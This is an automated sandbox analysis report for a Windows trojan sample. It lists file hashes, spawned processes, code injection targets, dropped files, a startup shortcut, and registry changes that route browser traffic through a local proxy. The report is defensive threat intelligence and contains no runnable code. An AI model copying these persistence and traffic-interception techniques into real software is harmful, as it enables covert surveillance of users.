Skip to main content

Trojan.Generic.14779156_2c6ca38699


Trojan.Generic.14779156 (AdAware), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 2c6ca3869994304875f192b610227269

SHA1: dcbdf30933e07c908c5c431336b07d8e655f645e

SHA256: 335df0abb76f7ed19c97751767cb31cf9998f06eff0db2ceef5745b4dc2d2c30

SSDeep: 24576:gYpVgU6qc00PhieAdO7gejjdYKmui3bmN:dVgUo00PQlMHdYvc

Size: 816064 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2009-12-06 00:50:52

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:424
WMIC.exe:552
vchk.exe:732
taskkill.exe:1140
taskkill.exe:1300
taskkill.exe:156
taskkill.exe:312
taskkill.exe:980
taskkill.exe:856
taskkill.exe:1124
taskkill.exe:576
taskkill.exe:1228
taskkill.exe:392
taskkill.exe:1872
taskkill.exe:1484
taskkill.exe:176
taskkill.exe:172
taskkill.exe:204
taskkill.exe:1712
taskkill.exe:1816
taskkill.exe:1964
taskkill.exe:668
taskkill.exe:1156
taskkill.exe:416
taskkill.exe:1988
taskkill.exe:1256
taskkill.exe:520
taskkill.exe:1468
taskkill.exe:544
taskkill.exe:328
taskkill.exe:1656
taskkill.exe:584
taskkill.exe:1260
taskkill.exe:756
taskkill.exe:580
taskkill.exe:1284
taskkill.exe:1272
taskkill.exe:1336
taskkill.exe:1984
taskkill.exe:1804
taskkill.exe:196
taskkill.exe:1864
taskkill.exe:1888
taskkill.exe:220
taskkill.exe:868
taskkill.exe:1848
taskkill.exe:1624
taskkill.exe:1060
taskkill.exe:1628
taskkill.exe:1648
taskkill.exe:1808
taskkill.exe:536
taskkill.exe:1768
taskkill.exe:1452
taskkill.exe:1412
taskkill.exe:1972
taskkill.exe:240

The Trojan injects its code into the following process(es):

winonit.exe:1556
EwyLuFd30KHCoG0EFQa8.exe:1608
getcap.exe:336
internetport3.e:2012
wincheckfe.exe:512
wcheckf.exe:1828
vchk.exe:2016

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process winonit.exe:1556 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\a\avv.txt (2791 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\inetc.dll (20 bytes)
C:\a\ahho.txt (4 bytes)
C:\a\auur.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vv[1].htm (2791 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\hho[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\uur[1].htm (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\KillProcDLL.dll (4 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy15.tmp (0 bytes)
C:\a\vv.txt (0 bytes)
C:\a\uur.txt (0 bytes)
C:\a\hho.txt (0 bytes)

The process %original file name%.exe:424 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\a\FiddlerCore.dll (9485 bytes)
C:\a\zuur.txt (2 bytes)
C:\a\internetport3.exe (10 bytes)
C:\a\wcheckf.exe (397 bytes)
C:\a\getcap.exe (10027 bytes)
C:\a\zhho.txt (3 bytes)
C:\a\zvchk.txt (3 bytes)
%Program Files%\FastInternet\app.exe (1078 bytes)
C:\a\uniqueEwyLuFd30KHCoG0EFQa8.ini (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\EwyLuFd30KHCoG0EFQa8[1].exe (3808 bytes)
C:\a\winonit.exe (435 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\pwgen.dll (17 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\SimpleFC.dll (5289 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
C:\a\ayyyyy.txt (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\uniqueEwyLuFd30KHCoG0EFQa8[1].htm (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
C:\a\ukey.ini (27 bytes)
C:\a\EwyLuFd30KHCoG0EFQa8.exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cki[1].htm (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\AccessControl.dll (13 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\System.dll (11 bytes)
C:\a\mCWsvmKja7.exe (5873 bytes)
C:\a\zvv.txt (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\bdcount[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\UAC.dll (13 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\inetc.dll (20 bytes)
C:\a\7296948.bat (287 bytes)
%System%\28211531.bat (18 bytes)
C:\a\ver.ini (8 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\intr.lnk (520 bytes)
%Program Files%\FastInternet\dotuninstall.exe (1084 bytes)
C:\a\wincheckfe.exe (778 bytes)
C:\a\install.txt (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsxF.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\SimpleFC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\pwgen.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\UAC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\AccessControl.dll (0 bytes)

The process EwyLuFd30KHCoG0EFQa8.exe:1608 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\apEwyLuFd30KHCoG0EFQa8.html (324 bytes)
C:\a\1logff.txt (718 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\ns2D.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ckkkp[1].htm (324 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\inetc.dll (20 bytes)
C:\a\1loogg2.txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\aEwyLuFd30KHCoG0EFQa8.html (303 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\localhost[1].htm (716 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\EwyLuFd30KHCoG0EFQa8.html (716 bytes)
C:\a\vv11111.txt (23724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ckkk[1].htm (303 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsb10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\ns2D.tmp (0 bytes)
C:\a\ProcessList.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\apEwyLuFd30KHCoG0EFQa8.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\aEwyLuFd30KHCoG0EFQa8.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\EwyLuFd30KHCoG0EFQa8.html (0 bytes)
C:\a\vv11111.txt (0 bytes)

The process getcap.exe:336 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\a\7za.exe (15192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc1C.tmp\System.dll (11 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsm1A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc1C.tmp (0 bytes)

The process internetport3.e:2012 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\a\logff.txt (718 bytes)
C:\a\loogg2.txt (240 bytes)

The process WMIC.exe:552 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\FastInternet\TempWmicBatchFile.bat (0 bytes)
C:\a\ProcessList.txt (1888 bytes)

The Trojan deletes the following file(s):

C:\a\ProcessList.txt (0 bytes)

The process wincheckfe.exe:512 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsm12.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm12.tmp\FindProcDLL.dll (3 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsm11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm12.tmp (0 bytes)

The process wcheckf.exe:1828 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\FindProcDLL.dll (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vchk[1].exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp (0 bytes)

The process vchk.exe:732 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr1D.tmp\System.dll (11 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr1D.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm1B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr1D.tmp (0 bytes)

The process vchk.exe:2016 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns27.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4C.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns28.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5E.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns41.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns48.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns64.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns43.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns49.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3E.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns25.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5F.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2F.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2A.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1E.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns22.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3C.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4D.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns29.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5A.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns35.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2E.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns57.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns30.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns56.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns52.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3B.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns46.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns38.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns44.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns37.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1F.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns60.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns66.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns62.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns65.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4F.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4A.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns47.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3F.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns59.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns61.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns24.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns26.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns21.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns20.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns34.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns51.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns67.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns50.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns36.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5D.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns68.tmp (6 bytes)
C:\a\avchk.txt (2026 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4E.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns53.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns69.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\vchk[1].htm (2026 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns40.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3A.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4B.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns23.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns45.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5B.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2B.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns33.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns63.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns31.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns42.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2C.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns54.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns39.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns58.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns55.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3D.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns32.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5C.tmp (6 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns27.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns28.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns41.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns48.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns64.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns43.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns49.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns25.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns22.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns29.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns35.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns57.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns30.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns56.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns52.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns46.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns38.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns44.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns37.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns60.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns62.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns65.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns59.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns47.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3F.tmp (0 bytes)
C:\a\vchk.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns61.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns24.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns26.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns21.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr18.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns34.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns51.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns67.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns66.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns50.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns36.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns68.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns20.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns53.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns23.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns40.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns45.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns33.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns63.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns31.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns42.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns54.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns39.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns58.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns55.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns32.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5C.tmp (0 bytes)

Registry activity

The process winonit.exe:1556 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 25 00 00 00 03 00 00 00 28 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
